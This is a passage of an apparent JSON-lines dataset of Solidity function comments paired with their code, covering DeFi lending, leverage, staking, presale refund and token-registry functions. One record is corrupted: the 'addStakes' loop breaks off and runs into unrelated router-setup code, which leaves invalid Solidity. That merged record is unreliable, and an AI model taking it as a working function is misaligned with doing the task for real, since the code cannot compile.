}", "version": "0.6.12"} {"comment": "/**\n * This function will take a pair and make sure that all Uniswap V3 pools for the pair are properly initialized for future use.\n * It will also add all available pools to an internal list, to avoid future queries to the factory.\n * It can be called multiple times for the same pair of tokens, to include and re-configure new pools that might appear in the future.\n * Will revert if there are no pools available for the given pair of tokens.\n */", "function_code": "function addSupportForPair(address _tokenA, address _tokenB) external override {\n uint256 _length = _supportedFeeTiers.length();\n (address __tokenA, address __tokenB) = _sortTokens(_tokenA, _tokenB);\n EnumerableSet.AddressSet storage _pools = _poolsForPair[__tokenA][__tokenB];\n uint16 _cardinality = uint16(period / _AVERAGE_BLOCK_INTERVAL) + 10; // We add 10 just to be on the safe side\n for (uint256 i; i < _length; i++) {\n address _pool = factory.getPool(__tokenA, __tokenB, uint24(_supportedFeeTiers.at(i)));\n if (_pool != address(0) && !_pools.contains(_pool) && IUniswapV3Pool(_pool).liquidity() >= MINIMUM_LIQUIDITY_THRESHOLD) {\n _pools.add(_pool);\n IUniswapV3Pool(_pool).increaseObservationCardinalityNext(_cardinality);\n }\n }\n require(_pools.length() > 0, 'PairNotSupported');\n emit AddedSupportForPair(__tokenA, __tokenB);\n }", "version": "0.7.6"} {"comment": "// **** State mutations **** //\n// Do a `callStatic` on this.\n// If it returns true then run it for realz. (i.e. eth_signedTx, not eth_call)", "function_code": "function sync() public returns (bool) {\r\n uint256 colFactor = getColFactor();\r\n uint256 safeSyncColFactor = getSafeSyncColFactor();\r\n\r\n // If we're not safe\r\n if (colFactor > safeSyncColFactor) {\r\n uint256 unleveragedSupply = getSuppliedUnleveraged();\r\n uint256 idealSupply = getLeveragedSupplyTarget(unleveragedSupply);\r\n\r\n deleverageUntil(idealSupply);\r\n\r\n return true;\r\n }\r\n\r\n return false;\r\n }", "version": "0.6.7"} {"comment": "// Leverages until we're supplying amount\n// 1. Redeem USDC\n// 2. Repay USDC", "function_code": "function leverageUntil(uint256 _supplyAmount) public onlyKeepers {\r\n // 1. Borrow out USDC\r\n // 2. Supply USDC\r\n\r\n uint256 leverage = getMaxLeverage();\r\n uint256 unleveragedSupply = getSuppliedUnleveraged();\r\n require(\r\n _supplyAmount >= unleveragedSupply &&\r\n _supplyAmount <= unleveragedSupply.mul(leverage).div(1e18),\r\n \"!leverage\"\r\n );\r\n\r\n // Since we're only leveraging one asset\r\n // Supplied = borrowed\r\n uint256 _borrowAndSupply;\r\n uint256 supplied = getSupplied();\r\n while (supplied < _supplyAmount) {\r\n _borrowAndSupply = getBorrowable();\r\n\r\n if (supplied.add(_borrowAndSupply) > _supplyAmount) {\r\n _borrowAndSupply = _supplyAmount.sub(supplied);\r\n }\r\n\r\n ICToken(cusdc).borrow(_borrowAndSupply);\r\n deposit();\r\n\r\n supplied = supplied.add(_borrowAndSupply);\r\n }\r\n }", "version": "0.6.7"} {"comment": "/// @dev Internal function to actually purchase the tokens.", "function_code": "function deposit() payable public {\r\n\r\n uint256 _incomingEthereum = msg.value;\r\n address _fundingSource = msg.sender;\r\n\r\n // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder\r\n profitPerShare_ += (_incomingEthereum * magnitude / tokenSupply_);\r\n\r\n\r\n // fire event\r\n emit onDeposit(_fundingSource, _incomingEthereum, now);\r\n\r\n }", "version": "0.4.24"} {"comment": "/// @dev Debits address by an amount or sets to zero", "function_code": "function debit(address _customerAddress, uint256 amount) onlyWhitelisted external returns (uint256){\r\n\r\n //No money movement; usually a lost wager\r\n vault[_customerAddress] = Math.max256(0, vault[_customerAddress].sub(amount));\r\n\r\n totalCustomerCredit = totalCustomerCredit.sub(amount);\r\n\r\n //Stats\r\n stats[_customerAddress].debit = stats[_customerAddress].debit.add(amount);\r\n stats[_customerAddress].xDebit += 1;\r\n\r\n emit onWithdraw(_customerAddress, amount, now);\r\n\r\n return vault[_customerAddress];\r\n }", "version": "0.4.24"} {"comment": "/// @dev Withraws balance for address; returns amount sent", "function_code": "function withdraw(address _customerAddress) onlyWhitelisted external returns (uint256){\r\n require(vault[_customerAddress] > 0);\r\n\r\n uint256 amount = vault[_customerAddress];\r\n\r\n vault[_customerAddress] = 0;\r\n totalCustomerCredit = totalCustomerCredit.sub(amount);\r\n\r\n _customerAddress.transfer(amount);\r\n\r\n //Stats\r\n stats[_customerAddress].withdrawn = stats[_customerAddress].withdrawn.add(amount);\r\n stats[_customerAddress].xWithdrawn += 1;\r\n\r\n emit onWithdraw(_customerAddress, amount, now);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev The bridge to the launch ecosystem. Community has to participate to dump divs\r\n * Should\r\n */", "function_code": "function fundP6(uint256 amount) internal {\r\n uint256 fee = amount.mul(p6Fee).div(100);\r\n\r\n p6Outbound = p6Outbound.add(fee);\r\n\r\n //GO P6 GO!!!\r\n if (p6Outbound >= outboundThreshold){\r\n fee = p6Outbound;\r\n p6Outbound = 0;\r\n p6.buyFor.value(fee)(owner);\r\n emit onAirdrop(address(p6), fee, now);\r\n }\r\n\r\n }", "version": "0.4.24"} {"comment": "//\n// ======= interface methods =======\n//\n//accept payments here", "function_code": "function ()\r\n payable\r\n noReentrancy\r\n {\r\n State state = currentState();\r\n if (state == State.PRESALE_RUNNING) {\r\n receiveFunds();\r\n } else if (state == State.REFUND_RUNNING) {\r\n // any entring call in Refund Phase will cause full refund\r\n sendRefund();\r\n } else {\r\n throw;\r\n }\r\n }", "version": "0.4.8"} {"comment": "//\n// ======= implementation methods =======\n//", "function_code": "function sendRefund() private tokenHoldersOnly {\r\n // load balance to refund plus amount currently sent\r\n var amount_to_refund = balances[msg.sender] + msg.value;\r\n // reset balance\r\n balances[msg.sender] = 0;\r\n // send refund back to sender\r\n if (!msg.sender.send(amount_to_refund)) throw;\r\n }", "version": "0.4.8"} {"comment": "// migrate stakers from previous contract to this one. can only be called before farm starts.", "function_code": "function addStakes(uint _pid, address[] calldata stakers, uint256[] calldata amounts) external onlyOwner {\r\n require(block.number < startBlock, \"addStakes: farm started.\");\r\n for(uint i=0; i 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\r\n // Create a pancakeswap pair for this new token \r\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2newRouter.factory())\r\n .createPair(address(this), _uniswapV2newRouter.WETH());\r\n\r\n // set the rest of the contract variables\r\n uniswapV2Router = _uniswapV2newRouter;\r\n \r\n }", "version": "0.8.4"} {"comment": "/**\r\n * Update token info for withdraw. The interest will be withdrawn with higher priority.\r\n */", "function_code": "function withdraw(TokenInfo storage self, uint256 amount, uint256 accruedRate, uint256 _block) public {\r\n newDepositCheckpoint(self, accruedRate, _block);\r\n if (self.depositInterest >= amount) {\r\n self.depositInterest = self.depositInterest.sub(amount);\r\n } else if (self.depositPrincipal.add(self.depositInterest) >= amount) {\r\n self.depositPrincipal = self.depositPrincipal.sub(amount.sub(self.depositInterest));\r\n self.depositInterest = 0;\r\n } else {\r\n self.depositPrincipal = 0;\r\n self.depositInterest = 0;\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev Sets the given bit in the bitmap value\r\n * @param _bitmap Bitmap value to update the bit in\r\n * @param _index Index range from 0 to 127\r\n * @return Returns the updated bitmap value\r\n */", "function_code": "function setBit(uint128 _bitmap, uint8 _index) internal pure returns (uint128) {\r\n // Suppose `_bitmap` is in bit value:\r\n // 0001 0100 = represents third(_index == 2) and fifth(_index == 4) bit is set\r\n\r\n // Bit not set, hence, set the bit\r\n if( ! isBitSet(_bitmap, _index)) {\r\n // Suppose `_index` is = 3 = 4th bit\r\n // mask = 0000 1000 = Left shift to create mask to find 4rd bit status\r\n uint128 mask = uint128(1) << _index;\r\n\r\n // Setting the corrospending bit in _bitmap\r\n // Performing OR (|) operation\r\n // 0001 0100 (_bitmap)\r\n // 0000 1000 (mask)\r\n // -------------------\r\n // 0001 1100 (result)\r\n return _bitmap | mask;\r\n }\r\n\r\n // Bit already set, just return without any change\r\n return _bitmap;\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev Returns true if the corrosponding bit set in the bitmap\r\n * @param _bitmap Bitmap value to check\r\n * @param _index Index to check. Index range from 0 to 127\r\n * @return Returns true if bit is set, false otherwise\r\n */", "function_code": "function isBitSet(uint128 _bitmap, uint8 _index) internal pure returns (bool) {\r\n require(_index < 128, \"Index out of range for bit operation\");\r\n // Suppose `_bitmap` is in bit value:\r\n // 0001 0100 = represents third(_index == 2) and fifth(_index == 4) bit is set\r\n\r\n // Suppose `_index` is = 2 = 3th bit\r\n // 0000 0100 = Left shift to create mask to find 3rd bit status\r\n uint128 mask = uint128(1) << _index;\r\n\r\n // Example: When bit is set:\r\n // Performing AND (&) operation\r\n // 0001 0100 (_bitmap)\r\n // 0000 0100 (mask)\r\n // -------------------------\r\n // 0000 0100 (bitSet > 0)\r\n\r\n // Example: When bit is not set:\r\n // Performing AND (&) operation\r\n // 0001 0100 (_bitmap)\r\n // 0000 1000 (mask)\r\n // -------------------------\r\n // 0000 0000 (bitSet == 0)\r\n\r\n uint128 bitSet = _bitmap & mask;\r\n // Bit is set when greater than zero, else not set\r\n return bitSet > 0;\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev Add a new token to registry\r\n * @param _token ERC20 Token address\r\n * @param _decimals Token's decimals\r\n * @param _isTransferFeeEnabled Is token changes transfer fee\r\n * @param _isSupportedOnCompound Is token supported on Compound\r\n * @param _cToken cToken contract address\r\n * @param _chainLinkOracle Chain Link Aggregator address to get TOKEN/ETH rate\r\n */", "function_code": "function addToken(\r\n address _token,\r\n uint8 _decimals,\r\n bool _isTransferFeeEnabled,\r\n bool _isSupportedOnCompound,\r\n address _cToken,\r\n address _chainLinkOracle\r\n )\r\n public\r\n onlyOwner\r\n {\r\n require(_token != address(0), \"Token address is zero\");\r\n require(!isTokenExist(_token), \"Token already exist\");\r\n require(_chainLinkOracle != address(0), \"ChainLinkAggregator address is zero\");\r\n require(tokens.length < MAX_TOKENS, \"Max token limit reached\");\r\n\r\n TokenInfo storage storageTokenInfo = tokenInfo[_token];\r\n storageTokenInfo.index = uint8(tokens.length);\r\n storageTokenInfo.decimals = _decimals;\r\n storageTokenInfo.enabled = true;\r\n storageTokenInfo.isTransferFeeEnabled = _isTransferFeeEnabled;\r\n storageTokenInfo.isSupportedOnCompound = _isSupportedOnCompound;\r\n storageTokenInfo.cToken = _cToken;\r\n storageTokenInfo.chainLinkOracle = _chainLinkOracle;\r\n // Default values\r\n storageTokenInfo.borrowLTV = 60; //6e7; // 60%\r\n\r\n tokens.push(_token);\r\n emit TokenAdded(_token);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * Initialize function to be called by the Deployer for the first time\r\n * @param _tokenAddresses list of token addresses\r\n * @param _cTokenAddresses list of corresponding cToken addresses\r\n * @param _globalConfig global configuration contract\r\n */", "function_code": "function initialize(\r\n address[] memory _tokenAddresses,\r\n address[] memory _cTokenAddresses,\r\n GlobalConfig _globalConfig\r\n )\r\n public\r\n initializer\r\n {\r\n // Initialize InitializableReentrancyGuard\r\n super._initialize();\r\n super._initialize(address(_globalConfig));\r\n\r\n globalConfig = _globalConfig;\r\n\r\n require(_tokenAddresses.length == _cTokenAddresses.length, \"Token and cToken length don't match.\");\r\n uint tokenNum = _tokenAddresses.length;\r\n for(uint i = 0;i < tokenNum;i++) {\r\n if(_cTokenAddresses[i] != address(0x0) && _tokenAddresses[i] != ETH_ADDR) {\r\n approveAll(_tokenAddresses[i]);\r\n }\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * Borrow the amount of token from the saving pool.\r\n * @param _token token address\r\n * @param _amount amout of tokens to borrow\r\n */", "function_code": "function borrow(address _token, uint256 _amount) external onlySupportedToken(_token) onlyEnabledToken(_token) whenNotPaused nonReentrant {\r\n\r\n require(_amount != 0, \"Borrow zero amount of token is not allowed.\");\r\n\r\n globalConfig.bank().borrow(msg.sender, _token, _amount);\r\n\r\n // Transfer the token on Ethereum\r\n SavingLib.send(globalConfig, _amount, _token);\r\n\r\n emit Borrow(_token, msg.sender, _amount);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * Withdraw all tokens from the saving pool.\r\n * @param _token the address of the withdrawn token\r\n */", "function_code": "function withdrawAll(address _token) external onlySupportedToken(_token) whenNotPaused nonReentrant {\r\n\r\n // Sanity check\r\n require(globalConfig.accounts().getDepositPrincipal(msg.sender, _token) > 0, \"Token depositPrincipal must be greater than 0\");\r\n\r\n // Add a new checkpoint on the index curve.\r\n globalConfig.bank().newRateIndexCheckpoint(_token);\r\n\r\n // Get the total amount of token for the account\r\n uint amount = globalConfig.accounts().getDepositBalanceCurrent(_token, msg.sender);\r\n\r\n uint256 actualAmount = globalConfig.bank().withdraw(msg.sender, _token, amount);\r\n if(actualAmount != 0) {\r\n SavingLib.send(globalConfig, actualAmount, _token);\r\n }\r\n emit WithdrawAll(_token, msg.sender, actualAmount);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev Initialize the Collateral flag Bitmap for given account\r\n * @notice This function is required for the contract upgrade, as previous users didn't\r\n * have this collateral feature. So need to init the collateralBitmap for each user.\r\n * @param _account User account address\r\n */", "function_code": "function initCollateralFlag(address _account) public {\r\n Account storage account = accounts[_account];\r\n\r\n // For all users by default `isCollInit` will be `false`\r\n if(account.isCollInit == false) {\r\n // Two conditions:\r\n // 1) An account has some position previous to this upgrade\r\n // THEN: copy `depositBitmap` to `collateralBitmap`\r\n // 2) A new account is setup after this upgrade\r\n // THEN: `depositBitmap` will be zero for that user, so don't copy\r\n\r\n // all deposited tokens be treated as collateral\r\n if(account.depositBitmap > 0) account.collateralBitmap = account.depositBitmap;\r\n account.isCollInit = true;\r\n }\r\n\r\n // when isCollInit == true, function will just return after if condition check\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev Enable/Disable collateral for a given token\r\n * @param _tokenIndex Index of the token\r\n * @param _enable `true` to enable the collateral, `false` to disable\r\n */", "function_code": "function setCollateral(uint8 _tokenIndex, bool _enable) public {\r\n address accountAddr = msg.sender;\r\n initCollateralFlag(accountAddr);\r\n Account storage account = accounts[accountAddr];\r\n\r\n if(_enable) {\r\n account.collateralBitmap = account.collateralBitmap.setBit(_tokenIndex);\r\n // when set new collateral, no need to evaluate borrow power\r\n } else {\r\n account.collateralBitmap = account.collateralBitmap.unsetBit(_tokenIndex);\r\n // when unset collateral, evaluate borrow power, only when user borrowed already\r\n if(account.borrowBitmap > 0) {\r\n require(getBorrowETH(accountAddr) <= getBorrowPower(accountAddr), \"Insufficient collateral\");\r\n }\r\n }\r\n\r\n emit CollateralFlagChanged(msg.sender, _tokenIndex, _enable);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * Get deposit interest of an account for a specific token\r\n * @param _account account address\r\n * @param _token token address\r\n * @dev The deposit interest may not have been updated in AccountTokenLib, so we need to explicited calcuate it.\r\n */", "function_code": "function getDepositInterest(address _account, address _token) public view returns(uint256) {\r\n AccountTokenLib.TokenInfo storage tokenInfo = accounts[_account].tokenInfos[_token];\r\n // If the account has never deposited the token, return 0.\r\n uint256 lastDepositBlock = tokenInfo.getLastDepositBlock();\r\n if (lastDepositBlock == 0)\r\n return 0;\r\n else {\r\n // As the last deposit block exists, the block is also a check point on index curve.\r\n uint256 accruedRate = globalConfig.bank().getDepositAccruedRate(_token, lastDepositBlock);\r\n return tokenInfo.calculateDepositInterest(accruedRate);\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * Update token info for deposit\r\n */", "function_code": "function deposit(address _accountAddr, address _token, uint256 _amount) public onlyAuthorized {\r\n initCollateralFlag(_accountAddr);\r\n AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token];\r\n if(tokenInfo.getDepositPrincipal() == 0) {\r\n uint8 tokenIndex = globalConfig.tokenInfoRegistry().getTokenIndex(_token);\r\n setInDepositBitmap(_accountAddr, tokenIndex);\r\n }\r\n\r\n uint256 blockNumber = getBlockNumber();\r\n uint256 lastDepositBlock = tokenInfo.getLastDepositBlock();\r\n if(lastDepositBlock == 0)\r\n tokenInfo.deposit(_amount, INT_UNIT, blockNumber);\r\n else {\r\n calculateDepositFIN(lastDepositBlock, _token, _accountAddr, blockNumber);\r\n uint256 accruedRate = globalConfig.bank().getDepositAccruedRate(_token, lastDepositBlock);\r\n tokenInfo.deposit(_amount, accruedRate, blockNumber);\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * Get current borrow balance of a token\r\n * @param _token token address\r\n * @dev This is an estimation. Add a new checkpoint first, if you want to derive the exact balance.\r\n */", "function_code": "function getBorrowBalanceCurrent(\r\n address _token,\r\n address _accountAddr\r\n ) public view returns (uint256 borrowBalance) {\r\n AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token];\r\n Bank bank = globalConfig.bank();\r\n uint256 accruedRate;\r\n uint256 borrowRateIndex = bank.borrowRateIndex(_token, tokenInfo.getLastBorrowBlock());\r\n if(tokenInfo.getBorrowPrincipal() == 0) {\r\n return 0;\r\n } else {\r\n if(borrowRateIndex == 0) {\r\n accruedRate = INT_UNIT;\r\n } else {\r\n accruedRate = bank.borrowRateIndexNow(_token)\r\n .mul(INT_UNIT)\r\n .div(borrowRateIndex);\r\n }\r\n return tokenInfo.getBorrowBalance(accruedRate);\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * Get borrowed balance of a token in the uint256 of Wei\r\n */", "function_code": "function getBorrowETH(\r\n address _accountAddr\r\n ) public view returns (uint256 borrowETH) {\r\n TokenRegistry tokenRegistry = globalConfig.tokenInfoRegistry();\r\n Account memory account = accounts[_accountAddr];\r\n uint128 hasBorrows = account.borrowBitmap;\r\n for(uint8 i = 0; i < 128; i++) {\r\n if(hasBorrows > 0) {\r\n bool isEnabled = (hasBorrows & uint128(1)) > 0;\r\n if(isEnabled) {\r\n (address token, uint256 divisor, uint256 price, ) = tokenRegistry.getTokenInfoFromIndex(i);\r\n\r\n uint256 borrowBalanceCurrent = getBorrowBalanceCurrent(token, _accountAddr);\r\n borrowETH = borrowETH.add(borrowBalanceCurrent.mul(price).div(divisor));\r\n }\r\n hasBorrows = hasBorrows >> 1;\r\n } else {\r\n break;\r\n }\r\n }\r\n\r\n return borrowETH;\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * Check if the account is liquidatable\r\n * @param _borrower borrower's account\r\n * @return true if the account is liquidatable\r\n */", "function_code": "function isAccountLiquidatable(address _borrower) public returns (bool) {\r\n TokenRegistry tokenRegistry = globalConfig.tokenInfoRegistry();\r\n Bank bank = globalConfig.bank();\r\n\r\n // Add new rate check points for all the collateral tokens from borrower in order to\r\n // have accurate calculation of liquidation oppotunites.\r\n Account memory account = accounts[_borrower];\r\n uint128 hasBorrowsOrDeposits = account.borrowBitmap | account.depositBitmap;\r\n for(uint8 i = 0; i < 128; i++) {\r\n if(hasBorrowsOrDeposits > 0) {\r\n bool isEnabled = (hasBorrowsOrDeposits & uint128(1)) > 0;\r\n if(isEnabled) {\r\n address token = tokenRegistry.addressFromIndex(i);\r\n bank.newRateIndexCheckpoint(token);\r\n }\r\n hasBorrowsOrDeposits = hasBorrowsOrDeposits >> 1;\r\n } else {\r\n break;\r\n }\r\n }\r\n\r\n uint256 liquidationThreshold = globalConfig.liquidationThreshold();\r\n\r\n uint256 totalBorrow = getBorrowETH(_borrower);\r\n uint256 totalCollateral = getCollateralETH(_borrower);\r\n\r\n // It is required that LTV is larger than LIQUIDATE_THREADHOLD for liquidation\r\n // return totalBorrow.mul(100) > totalCollateral.mul(liquidationThreshold);\r\n return totalBorrow.mul(100) > totalCollateral.mul(liquidationThreshold);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * An account claim all mined FIN token.\r\n * @dev If the FIN mining index point doesn't exist, we have to calculate the FIN amount\r\n * accurately. So the user can withdraw all available FIN tokens.\r\n */", "function_code": "function claim(address _account) public onlyAuthorized returns(uint256){\r\n TokenRegistry tokenRegistry = globalConfig.tokenInfoRegistry();\r\n Bank bank = globalConfig.bank();\r\n\r\n uint256 currentBlock = getBlockNumber();\r\n\r\n Account memory account = accounts[_account];\r\n uint128 depositBitmap = account.depositBitmap;\r\n uint128 borrowBitmap = account.borrowBitmap;\r\n uint128 hasDepositOrBorrow = depositBitmap | borrowBitmap;\r\n\r\n for(uint8 i = 0; i < 128; i++) {\r\n if(hasDepositOrBorrow > 0) {\r\n if((hasDepositOrBorrow & uint128(1)) > 0) {\r\n address token = tokenRegistry.addressFromIndex(i);\r\n AccountTokenLib.TokenInfo storage tokenInfo = accounts[_account].tokenInfos[token];\r\n bank.updateMining(token);\r\n if (depositBitmap.isBitSet(i)) {\r\n bank.updateDepositFINIndex(token);\r\n uint256 lastDepositBlock = tokenInfo.getLastDepositBlock();\r\n calculateDepositFIN(lastDepositBlock, token, _account, currentBlock);\r\n tokenInfo.deposit(0, bank.getDepositAccruedRate(token, lastDepositBlock), currentBlock);\r\n }\r\n\r\n if (borrowBitmap.isBitSet(i)) {\r\n bank.updateBorrowFINIndex(token);\r\n uint256 lastBorrowBlock = tokenInfo.getLastBorrowBlock();\r\n calculateBorrowFIN(lastBorrowBlock, token, _account, currentBlock);\r\n tokenInfo.borrow(0, bank.getBorrowAccruedRate(token, lastBorrowBlock), currentBlock);\r\n }\r\n }\r\n hasDepositOrBorrow = hasDepositOrBorrow >> 1;\r\n } else {\r\n break;\r\n }\r\n }\r\n\r\n uint256 _FINAmount = FINAmount[_account];\r\n FINAmount[_account] = 0;\r\n return _FINAmount;\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * Accumulate the amount FIN mined by depositing between _lastBlock and _currentBlock\r\n */", "function_code": "function calculateDepositFIN(uint256 _lastBlock, address _token, address _accountAddr, uint256 _currentBlock) internal {\r\n Bank bank = globalConfig.bank();\r\n\r\n uint256 indexDifference = bank.depositFINRateIndex(_token, _currentBlock)\r\n .sub(bank.depositFINRateIndex(_token, _lastBlock));\r\n uint256 getFIN = getDepositBalanceCurrent(_token, _accountAddr)\r\n .mul(indexDifference)\r\n .div(bank.depositeRateIndex(_token, _currentBlock));\r\n FINAmount[_accountAddr] = FINAmount[_accountAddr].add(getFIN);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * The function is called in Bank.deposit(), Bank.withdraw() and Accounts.claim() functions.\r\n * The function should be called AFTER the newRateIndexCheckpoint function so that the account balances are\r\n * accurate, and BEFORE the account balance acutally updated due to deposit/withdraw activities.\r\n */", "function_code": "function updateDepositFINIndex(address _token) public onlyAuthorized{\r\n uint currentBlock = getBlockNumber();\r\n uint deltaBlock;\r\n // If it is the first deposit FIN rate checkpoint, set the deltaBlock value be 0 so that the first\r\n // point on depositFINRateIndex is zero.\r\n deltaBlock = lastDepositFINRateCheckpoint[_token] == 0 ? 0 : currentBlock.sub(lastDepositFINRateCheckpoint[_token]);\r\n // If the totalDeposit of the token is zero, no FIN token should be mined and the FINRateIndex is unchanged.\r\n depositFINRateIndex[_token][currentBlock] = depositFINRateIndex[_token][lastDepositFINRateCheckpoint[_token]].add(\r\n getTotalDepositStore(_token) == 0 ? 0 : depositeRateIndex[_token][lastCheckpoint[_token]]\r\n .mul(deltaBlock)\r\n .mul(globalConfig.tokenInfoRegistry().depositeMiningSpeeds(_token))\r\n .div(getTotalDepositStore(_token)));\r\n lastDepositFINRateCheckpoint[_token] = currentBlock;\r\n\r\n emit UpdateDepositFINIndex(_token, depositFINRateIndex[_token][currentBlock]);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * Calculate a token deposite rate of current block\r\n * @param _token token address\r\n * @dev This is an looking forward estimation from last checkpoint and not the exactly rate that the user will pay or earn.\r\n */", "function_code": "function depositeRateIndexNow(address _token) public view returns(uint) {\r\n uint256 lcp = lastCheckpoint[_token];\r\n // If this is the first checkpoint, set the index be 1.\r\n if(lcp == 0)\r\n return INT_UNIT;\r\n\r\n uint256 lastDepositeRateIndex = depositeRateIndex[_token][lcp];\r\n uint256 depositRatePerBlock = getDepositRatePerBlock(_token);\r\n // newIndex = oldIndex*(1+r*delta_block). If delta_block = 0, i.e. the last checkpoint is current block, index doesn't change.\r\n return lastDepositeRateIndex.mul(getBlockNumber().sub(lcp).mul(depositRatePerBlock).add(INT_UNIT)).div(INT_UNIT);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * Calculate a token borrow rate of current block\r\n * @param _token token address\r\n */", "function_code": "function borrowRateIndexNow(address _token) public view returns(uint) {\r\n uint256 lcp = lastCheckpoint[_token];\r\n // If this is the first checkpoint, set the index be 1.\r\n if(lcp == 0)\r\n return INT_UNIT;\r\n uint256 lastBorrowRateIndex = borrowRateIndex[_token][lcp];\r\n uint256 borrowRatePerBlock = getBorrowRatePerBlock(_token);\r\n return lastBorrowRateIndex.mul(getBlockNumber().sub(lcp).mul(borrowRatePerBlock).add(INT_UNIT)).div(INT_UNIT);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * Withdraw a token from an address\r\n * @param _from address to be withdrawn from\r\n * @param _token token address\r\n * @param _amount amount to be withdrawn\r\n * @return The actually amount withdrawed, which will be the amount requested minus the commission fee.\r\n */", "function_code": "function withdraw(address _from, address _token, uint256 _amount) external onlyAuthorized returns(uint) {\r\n\r\n require(_amount != 0, \"Amount is zero\");\r\n\r\n // Add a new checkpoint on the index curve.\r\n newRateIndexCheckpoint(_token);\r\n updateDepositFINIndex(_token);\r\n\r\n // Withdraw from the account\r\n uint amount = globalConfig.accounts().withdraw(_from, _token, _amount);\r\n\r\n // Update pool balance\r\n // Update the amount of tokens in compound and loans, i.e. derive the new values\r\n // of C (Compound Ratio) and U (Utilization Ratio).\r\n uint compoundAmount = update(_token, amount, ActionType.WithdrawAction);\r\n\r\n // Check if there are enough tokens in the pool.\r\n if(compoundAmount > 0) {\r\n globalConfig.savingAccount().fromCompound(_token, compoundAmount);\r\n }\r\n\r\n return amount;\r\n }", "version": "0.5.14"} {"comment": "// Checks if funds of a given address are time-locked", "function_code": "function timeLocked(address _spender)\r\n public\r\n returns (bool)\r\n {\r\n if (releaseTimes[_spender] == 0) {\r\n return false;\r\n }\r\n\r\n // If time-lock is expired, delete it\r\n var _time = timeMode == TimeMode.Timestamp ? block.timestamp : block.number;\r\n if (releaseTimes[_spender] <= _time) {\r\n delete releaseTimes[_spender];\r\n return false;\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// return normalized rate", "function_code": "function normalizeRate(address src, address dest, uint256 rate) public view\r\n returns(uint)\r\n {\r\n RateAdjustment memory adj = rateAdjustment[src][dest];\r\n if (adj.factor == 0) {\r\n uint srcDecimals = _getDecimals(src);\r\n uint destDecimals = _getDecimals(dest);\r\n if (srcDecimals != destDecimals) {\r\n if (srcDecimals > destDecimals) {\r\n adj.multiply = true;\r\n adj.factor = 10 ** (srcDecimals - destDecimals);\r\n } else {\r\n adj.multiply = false;\r\n adj.factor = 10 ** (destDecimals - srcDecimals);\r\n }\r\n }\r\n }\r\n if (adj.factor > 1) {\r\n rate = adj.multiply\r\n ? rate.mul(adj.factor)\r\n : rate.div(adj.factor);\r\n }\r\n return rate;\r\n }", "version": "0.5.15"} {"comment": "// Deposit LP tokens to MasterChef for SUSHI/USDCow allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public payable {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n \r\n updatePool(_pid);\r\n \r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accSushiPerShare).div(1e12).sub(user.rewardDebt);\r\n \r\n safeSushiTransfer(msg.sender, pending);\r\n }\r\n \r\n if (address(pool.token) == WETH) {\r\n if(_amount > 0) {\r\n pool.token.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n }\r\n \r\n if (msg.value > 0) {\r\n IWETH(WETH).deposit{value: msg.value}();\r\n _amount = _amount.add(msg.value);\r\n }\r\n } else if (_amount > 0) {\r\n pool.token.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n }\r\n \r\n if (_amount > 0) {\r\n pool.amount = pool.amount.add(_amount);\r\n user.amount = user.amount.add(_amount);\r\n }\r\n \r\n user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Safe sushi/usdcow transfer/mint function, just in case if rounding error causes pool to not have enough SUSHIs/USDCows/USDCs.", "function_code": "function safeSushiTransfer(address _to, uint256 _amount) internal {\r\n if (_amount > 0) {\r\n tryRebase();\r\n }\r\n \r\n uint256 cowBal = sushi.balanceOf(sushi.uniswapV2Pair());\r\n uint256 usdcBal = sushi.usdc().balanceOf(sushi.uniswapV2Pair());\r\n \r\n if (cowBal < usdcBal.mul(1000)) {\r\n uint256 usdcAmount = _amount.div(1000);\r\n \r\n while (sushi.usdc().balanceOf(address(this)) < usdcAmount) {\r\n sushi.mint(address(this), _amount);\r\n \r\n address[] memory path = new address[](2);\r\n path[0] = address(sushi);\r\n path[1] = address(sushi.usdc());\r\n \r\n sushi.uniswapV2Router().swapExactTokensForTokens(_amount, 0, path, address(this), now.add(120));\r\n }\r\n \r\n sushi.usdc().transfer(_to, usdcAmount);\r\n } else {\r\n sushi.mint(_to, _amount);\r\n sushi.mint(devaddr, _amount.div(100));\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice External function to transfers a token to another address.\r\n * @param _to The address of the recipient, can be a user or contract.\r\n * @param _tokenId The ID of the token to transfer.\r\n */", "function_code": "function transfer(address _to, uint _tokenId) whenNotPaused external {\r\n // Safety check to prevent against an unexpected 0x0 default.\r\n require(_to != address(0));\r\n\r\n // Disallow transfers to this contract to prevent accidental misuse.\r\n require(_to != 